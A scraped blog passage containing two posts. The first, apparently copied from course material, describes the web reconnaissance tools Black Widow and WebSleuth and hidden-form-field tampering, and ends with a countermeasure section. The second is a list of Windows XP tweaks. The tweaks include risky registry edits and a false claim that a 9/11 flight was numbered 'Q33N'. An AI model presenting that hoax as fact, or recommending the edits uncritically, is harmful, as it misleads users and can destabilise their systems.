target="_top">http://softbytelabs.com</a></div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Black widow is a website scanner, a site mapping tool, a site ripper, a site mirroring tool, and an offline browser program.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Use it to scan a site and create a complete profile of the site's structure, files, E-mail addresses, external links and even link errors.</div></li></ul></div><div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-body" valign="top"><div class="first-para">Another tool that can be found in an attacker's arsenal is Black Widow. This tool can be used for various purposes because it functions as a web site scanner, a site mapping tool, a site ripper, a site mirroring tool, and an offline browser program. Note its use as a site mirroring tool. An attacker can use it to mirror the target site on his hard drive and parse it for security flaws in the offline mode.</div></td></tr></tbody></table><div class="para">The attacker can also use this for the information gathering and discovery phase by scanning the site and creating a complete profile of the site's structure, files, e-mail addresses, external links and even errors messages. This will help him launch a targeted attack that has more chance of succeeding and leaving a smaller footprint.</div><div class="para">The attacker can also look for specific file types and download any selection of files: from 'JPG' to 'CGI' to 'HTML' to MIME types. There is no file size restriction, and the user can download small to large files, that are a part of a site or from a group of sites.</div></div><div><span class="sidebar-title"><b><center>Hacking Tool: WebSleuth</center></b></span><br /><div class="first-para"><a class="url" href="http://sandsprite.com/sleuth/" style="color: #3778cd; text-decoration: none;" target="_top">http://sandsprite.com/sleuth/</a></div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">WebSleuth is an excellent tool that combines spidering with the capability of a personal proxy such as Achilles.</div></li></ul></div><div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-title" valign="top" width="48"></td><td class="admon-body" valign="top"><div class="first-para">Websleuth is a tool that combines web crawling with the capability of a personal proxy. The current version of sleuth supports functionality to: convert hidden & select form elements to textboxes; efficient forms parsing and analysis; edit rendered source of WebPages; edit raw cookies in their raw state etc.</div></td></tr></tbody></table><div class="para">It can also make raw http requests to servers impersonating the referrer, cookie etc..; block javascript popups automatically; highlight & parse full html source code; and analyze cgi links apart from logging all surfing activities and http headers for requests and responses.</div><div class="para">Sleuth can generate reports of elements of web page; facilitate enhanced i.e. Proxy management, as well as security settings management. Sleuth has the facility to monitor cookies in real-time. Javascript console aids in interacting directly with the pages scripts and remove all scripts in a webpage.</div></div><div><span class="sidebar-title"><b><center>Hidden Field Manipulation</center></b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Hidden fields are embedded within HTML forms to maintain values that will be sent back to the server.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Hidden fields serve as a mean for the web application to pass information between different applications.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Using this method, an application may pass the data without saving it to a common backend system (typically a database.)</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">A major assumption about the hidden fields is that since they are non visible (i.e. hidden) they will not be viewed or changed by the client.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Web attacks challenge this assumption by examining the HTML code of the page and changing the request (usually a POST request) going to the server.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">By changing the value the entire logic between the different application parts, the application is damaged and manipulated to the new value.</div></li></ul></div><div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-title" valign="top" width="120"></td><td class="admon-body" valign="top"><div class="first-para"><b class="bold">Hidden field tampering:</b></div><div class="para">Most of us who have dabbled with some HTML coding have come across the hidden field. For example, consider the code below:</div><div class="informalexample"><pre class="literallayout-normal"><b><span class="Apple-style-span" style="font-size: large;"> <input name="username" size="20" type="text" value="" /></span></b> </pre></div></td></tr></tbody></table><div class="para">Most web applications rely on HTML forms to receive input from the user. However, users can choose to save the form to a file, edit it and then use the edited form to submit data back to the server. Herein lies the vulnerability, as this is a "stateless" interaction with the web application. HTTP transactions are connectionless, one-time transmissions.</div><div class="para">The conventional way of checking for the continuity of connection is to check the state of the user from information stored at the user's end (Another pointer to the fallacy in trusting the client side data). This can be stored in a browser in three ways; cookies, encoded URLs and HTML form "hidden" fields</div></div><div><div class="first-para"><b class="bold">Countermeasure</b></div><div class="last-para">The first rule in web application development from a security standpoint is not to rely on the client side data for critical processes. Using encrypted sessions such as SSL or "secure" cookies are advocated instead of using hidden fields. Digital algorithms may be used where values of critical parameters may be hashed with a digital signature to ascertain the authenticity of data. The safest bet would be to rely on server side authentication mechanisms for high security applications.</div></div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Web Application Vulnerabilities

Web Application Vulnerabilities Readers, now we will learn to emphasize on the need to secure the applications as they permit an attacker to...

Read more »

Top Windows Tweaks

<div dir="ltr" style="text-align: left;" trbidi="on"><div align="justify">Top  Windows Tweaks<br /><br /><br /><i>Set Processes Priority</i><br />Follow this tip to increase the priority of active processes, this will result in prioritisation of processes using the CPU. Press CTRL-SHIFT-ESC<br />1.Go to the second tab called Processes, right click on one of the active processes, you will see the Set Priority option.<br />2.For example, your Run your CDwriter program , set the priority higher, and guess what, no crashed CD’s Shutdown Trick !<br /><a name="more"></a><br />Immediate rapid shut down window while shutting down window. open task manager(Ctr+Alt+Del), Select shut down tab. and press ' Ctrl ' key while select Turn Off from dis tab. Count 5 4 3 2 1<br />Voila!!!<br />Your window will rapidly shut down.<br /><br /><i>Speed Up Ur Shut down !!</i><br />Start Regedit.<br />Navigate to HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control.<br />Click on the "Control" Folder.Select "WaitToKillServiceTimeout"Right click on it and select Modify.<br />Set it a value lower than 2000 (Mine is set to 200). and !<br />Like previous versions of windows, it takes long time to restart or shutdown windows xp when the "Exit Windows" sound is enabled. To solve this problem you must disable this useless sound. click start button then go to settings -> control panel -> Sound,Speech and Audio devices -> Sounds and Audio Devices -> Sounds, then under program events and windows menu click on "Exit Windows" sub-menu and highlight it.Now from sounds you can select,choose "none" and then click apply and ok. Now you can see some improvements when shutting down your system.<br /><br /><i>Hide Your  folders..</i><br /> Disguise them to "Recycle Bin"<br />Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}eg,if uyouve a folder gamespress F2,then type, "games.{645FF040-5081-101B-9F08-00AA002F954E}" .See the magic....then to get to original form,remove the extension using "ren games.{645FF040-5081-101B-9F08-00AA002F954E} games" in dos or as a bat file<br />and you are done..<br />~cheers~<br /><br /><i>System information</i><br />System up time only for xp professional edition.It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina.Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).<br /><br /><i>Lock pc just by double clicking mouse</i><br />You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exeuser32.dll,LockWorkStation' in the location field.Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked.And if that's not easy enough, Windows key + L will dothe same.<br /><br /><i>Speed Up Your ACROBAT READER (ALMOST LIKE NOTEPAD)</i><br />Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.<br />1. Go to the installation folder of acrobat reader(C:\program files\adobe\acrobat\reader\.. whatever)<br />2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).<br />Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).<br />Now your acrobat reader will load very fast and almost as good as notepad..<br />Remove Stored username and Passwords !<br />To remove the Stored User Names and Passwords from your system, try this:Click Start, Run and type Control keymgr.dllRemove the entries from the list.The other ways to access this dialog are: Type Control Userpasswords2 in RUN box, click Advanced, Manage Passwords -or- From Control Panel, select your User Account, click Manage your network passwords<br />It Works<br />~ Cheers ~<br /><br /><i>Remove the Username and picture from Windows XP</i><br />The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.<br />For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:Start Windows Explorer and go to this folder:<br />C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures<br />From that folder, rename the BMP file which corresponds to your user account. ( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp ) Next, rename the following folder:<br />C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures<br />to something else, say...<br />C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures To remove the user name, follow these steps<br />Start regedit.exe and navigate to the this key:<br />HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer In the right-pane, set NoUserNameInStartMenu value-data to 1<br />Close Regedit.exe and restart Windows.<br />You'll end up with a blue space at the top of the Start Menu.<br /><br />To get back the username and the picture, reverse the above procedure.<br /><br />For the New Start Menu, Windows XP looks for the .bmp file in the folder<br />C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures<br />If the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the .bmp and the "Default Pictures" folder, you're giving no chance for Windows to fetch an image for the Start Menu<br />~ Cheers ~.<br /><br /><i>Notepad Trick !</i><br />for complete list move to NOTEPAD TRICKS page !!<br />Well quite old but here is d complete collection<br />Step 1: Open Notepad<br />Step 2: Write following line in the notepad.<br />             this app can break<br />Step 3: Save this file as xxx.txt<br />Step 4: Close the notepad.<br />Step 5: Open the file again.<br />Voilla!!<br />or<br />1> Open Notepad<br />2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters<br />3> DON'T hit enter at the end of the line.<br />4> Save the file.<br />5> Close Notepad<br />.6> Reopen Notepad.<br />7> Open the file you just saved.<br />WHY?<br />The reason this happens:<br />In notepad, any other 4-3-3-5 letter word combo will have the same results.It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.<br />1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters<br />~ cheers ~<br /><br /><i>OR</i>Open a note pad Type Bush hid the facts save that file, close it again open and see...<br /><br /><i>"World Trade Center Trick".</i><br />Did you know that the flight number of the plane that had hit WTC ...on9/11 was Q33N ....Open your Notepad in ur computer and type the flight number i.e Q33N... Increase the Font Size to 72, Change the Font to Wingdings. U will be amazed by the findings.<br /><br /><i> !! Make Your Notepad a diary !!</i><br />Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it. Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.<br /><br /><br /><i>SPEED UP MENU DISPLAY.!!</i><br />When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.<br />Start Regedit. <br />Navigate to HKEY_CURRENT_USER\Control Panel\DesktopSelect MenuShowDelay from the list on the right.<br />Right on it and select Modify.Change the value to 0.Reboot your computer.<br /><br /><i>AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.!!</i><br />Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:<br />1. Open up regedit<br />2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler<br />3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}<br />Voila!<br />Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.<br />NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.<br /><br /><i>CD ROM STOPS AUTOPLAYING/AUTORUN.!!</i><br />And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".<br /><br /><i>Make your Desktop Icons Transparent</i><br />Go to Control Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"<br /><br /><i>DISPLAY MESSAGE ON STARTUP.</i><br />Start regedit,<br />Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon<br />Modify the key legalnoticecaption with what you want to name the window. Modify the key legalnoticetext with what you want the window to say. Restart<br /><br /><i>Auto Delete Temporary Folder.!!</i><br />What i prefer is %temp% " without quotes.. at Start -> Run..this opens ur temp folder n den u can erase it neatly// still try dis one too..<br />First go into gpedit.msc<br />Next select -> Computer Configuration/Administrative Templates/WindowsComponents/Terminal Services/Temporary Folder<br />Then right click "Do Not Delete Temp Folder Upon Exit"<br />Go to properties and hit disable.<br />Now next time Windows puts a temp file in that folder it will automatically delete it when its done!<br />Note from Blog Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.<br /><br /><i>Make ur pdf files to speak</i><br />Make ur pdf files to speak. Here are the shortcuts for hearing pdf files in abobe reader 6.0 or higher<br />ctrl+shift+b ---->to hear the whole topic<br />ctrl+shift+v ---->to hear the page<br /><br />Thanks </div></div>

Top Windows Tweaks

Top  Windows Tweaks Set Processes Priority Follow this tip to increase the priority of active processes, this will result in prioritisation ...

Read more »